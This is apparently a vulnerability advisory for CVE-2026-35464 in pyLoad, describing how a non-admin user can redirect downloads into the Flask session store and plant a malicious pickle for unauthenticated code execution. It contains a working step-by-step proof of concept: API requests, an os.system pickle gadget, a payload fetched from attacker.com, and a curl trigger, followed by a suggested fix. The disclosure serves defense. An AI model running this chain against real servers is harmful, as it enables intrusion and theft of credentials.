CVE-2026-35464

Description

## Summary The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie. ## Required Privileges The chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization. ## Root Cause `storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask's filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths. pyload configures Flask with `SESSION_TYPE = "filesystem"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5("session:" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie. ## Proven RCE Chain Tested against `lscr.io/linuxserver/pyload-ng:latest` Docker image. **Step 1** — Change download directory to Flask session store: POST /api/set_config_value {"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"} The path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes. **Step 2** — Compute the target session filename: md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c Flask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`. **Step 3** — Host and download the malicious pickle payload: import pickle, os, struct class RCE: def __reduce__(self): return (os.system, ("id > /tmp/pyload-rce-success",)) session = {"_permanent": True, "rce": RCE()} payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2) # struct.pack("I", 0) = cachelib timeout header (0 = never expires) Serve as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit: POST /api/add_package {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1} The file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`. **Step 4** — Trigger deserialization (unauthenticated): curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID" The session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`). Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes. **Result**: $ docker exec pyload-poc cat /tmp/pyload-rce-success uid=1000(abc) gid=1000(users) groups=1000(users) ## Impact A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can: - Execute arbitrary commands with the privileges of the pyload process - Read environment variables (API keys, credentials) - Access the filesystem (download history, user database) - Pivot to other network resources ## Suggested Fix Add `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory): ADMIN_ONLY_OPTIONS = { ... ("general", "storage_folder"), # ADDED: prevents session poisoning RCE ... } Also correct the existing wrong option names: ("webui", "ssl_certfile"), # FIXED: was "ssl_cert" (dead code) ("webui", "ssl_keyfile"), # FIXED: was "ssl_key" (dead code)